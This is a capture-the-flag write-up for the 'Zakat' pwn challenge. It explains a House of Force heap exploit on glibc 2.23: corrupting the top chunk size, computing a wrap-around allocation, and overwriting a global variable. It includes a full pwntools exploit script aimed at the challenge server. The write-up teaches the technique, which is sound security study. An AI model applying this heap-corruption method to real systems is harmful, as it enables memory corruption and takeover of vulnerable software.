Ramadan CTF 2026 - Zakat
[ Zakat ] Writeup
Category: Pwn (Heap - House of Force)
Difficulty: Medium-Hard
Author: 4n7h4r4x
Access all challenges here:
GitHub Repository
Tools Used
ghidra/gdbfor reverse engineeringreadelffor section addressespython3 (pwntools)for exploit scripting
Overview
Zakat is a House of Force heap exploitation challenge using glibc 2.23. The binary leaks both a heap address and a PIE code address, has a heap buffer overflow into the top chunk, and accepts arbitrary malloc sizes. Our goal: overwrite the global zakat variable to 0xDEADBEEF to trigger the win condition.
Initial Recon
Running file and checksec:
The binary uses glibc 2.23 (Ubuntu 16.04) – this is important because House of Force was patched in glibc 2.29.
Reverse Engineering
The donate() function is where everything happens:
Key observations:
- Leak 1 (heap):
printf("Donation name id : %p\n", name)– prints the heap pointer. - Leak 2 (PIE):
printf("Donating room id ! %p\n", donate)– prints a code address. - Heap overflow:
read(0, name, 0x50)reads 80 bytes into a 24-bytemallocbuffer – 56 bytes of overflow that reaches the top chunk size field. - Arbitrary malloc size:
scanf("%lu", &size)accepts any unsigned long value. - Win condition: If
zakat == 0xDEADBEEF, print the flag. - Allocation limit: Only 2 allocations allowed.
What is House of Force?
House of Force targets the top chunk (the wilderness) in glibc’s heap. When no free bin chunk satisfies a request, malloc carves memory from the top chunk:
1
2
new_top = top_chunk + requested_size_aligned
return = top_chunk + 0x10 (user data pointer)
If we corrupt the top chunk’s size to a huge value, malloc thinks it has unlimited memory. We can then request a carefully computed size that wraps the top chunk pointer around the 64-bit address space to land just before our target variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| Section |
|---------|
| .text |
| .data |
| .bss |
| heap | X <- next malloc will check top chunk size , by setting top chunk to a huge value we can wrap around
| stack |
next time we allocate a huge evil size , well be able to wrap around , and the next malloc will overwrite data in bss !
↓ | Section |
↓ |---------|
↓ | .text |
↓ | .data |
X | .bss |
| heap | ↓
| stack | ↓
Step 1: Corrupt the Top Chunk Size
After malloc(24), the heap layout is:
1
2
3
heap_base + 0x00: chunk header (prev_size + size = 0x21)
heap_base + 0x10: name (user data, 24 bytes)
heap_base + 0x28: TOP CHUNK SIZE FIELD
Our overflow writes past the 24-byte buffer into the top chunk size at offset +0x28:
1
payload = b"A" * 24 + p64(0xFFFFFFFFFFFFEFE1)
Why 0xFFFFFFFFFFFFEFE1?
The sysmalloc assertion requires the top chunk’s end address to be page-aligned:
1
(top_addr + (size & ~7)) & 0xFFF == 0
The top chunk is at heap_base + 0x20 (offset 0x020), so:
1
(size & ~7) & 0xFFF must equal 0x1000 - 0x020 = 0xFE0
Adding the PREV_INUSE bit (bit 0): the size must end in 0xFE1. Hence 0xFFFFFFFFFFFFEFE1.
###In summary we need to respect 3 things so things works as expected !
- Huge size → enables wrap-around
- Page-aligned value
PREV_INUSEflag = 1
Common mistake: Using
0xFFFFFFFFFFFFFFFFor0xFFFFFFFFFFFFFFF1– these fail the page alignment check and trigger an assertion abort.
Step 2: Distance Allocation
We compute the evil_size so that after malloc(evil_size), the next allocation returns a pointer to zakat:
1
evil_size = (zakat - heap - 0x30) & 0xFFFFFFFFFFFFFFFF
The & 0xFFFFFFFFFFFFFFFF handles unsigned 64-bit wraparound when the heap address is higher than BSS.
Notice how it says corrupted , thats because we overwrote the top chunk to something off , but the program will continue running and uses that size !! 
The stdin Buffer Trap
After scanf reads our evil_size, a \n remains in stdin. The subsequent read() call immediately consumes it and returns. Do NOT send extra data for this allocation, or it will poison the next scanf and cause an infinite loop.
Step 3: Overwrite Zakat
The next malloc(24) returns a pointer to the zakat variable. We write 0xDEADBEEF:
1
malloc(24, p64(0xDEADBEEF))
Then trigger the win condition by selecting menu option 3.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.binary = elf = ELF("./zakat")
#p = elf.process()
p = remote("tcp.espark.tn" , 1337)
# Parse leaks
p.recvuntil(b"name id :")
heap = int(p.recvline().strip(), 16)
p.recvuntil(b"room id !")
donate_leak = int(p.recvline().strip(), 16)
pie = donate_leak - elf.symbols["donate"]
zakat = pie + elf.symbols["zakat"]
log.info(f"heap = {hex(heap)}")
log.info(f"pie = {hex(pie)}")
log.info(f"zakat = {hex(zakat)}")
def malloc(size, value):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"zakat box:")
p.sendline(str(size).encode())
p.recvuntil(b"donor message:")
p.send(value)
# Step 1: Corrupt top chunk size
p.recvuntil(b"What's your name?")
pay1 = b"A" * 24 + p64(0xFFFFFFFFFFFFEFE1)
p.send(pay1)
# Step 2: Distance allocation (wraps around to zakat)
evil_size = (zakat - heap - 0x30) & 0xFFFFFFFFFFFFFFFF
log.info(f"evil = {evil_size} ({hex(evil_size)})")
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"zakat box:")
p.sendline(str(evil_size).encode())
# DON'T send data -- leftover \n from scanf feeds read()
# Step 3: This malloc returns zakat -- write the target value
malloc(24, p64(0xDEADBEEF))
# Step 4: Trigger win
p.recvuntil(b"> ")
p.sendline(b"3")
p.interactive()
Key Takeaways
- House of Force corrupts the top chunk size to make
mallocreturn arbitrary addresses. It’s a classic technique for glibc <= 2.28. - Page alignment matters. The fake top chunk size must satisfy
sysmalloc’s assertion: top chunk end must be page-aligned. Getting this wrong by one bit = instant abort. - stdin buffering between
scanfandreadis a real pitfall. Always be mindful of leftover newlines. - The math is everything. Off by 0x10 in the distance calculation means you miss your target completely.
Helpful Resources
Thanks for reading!










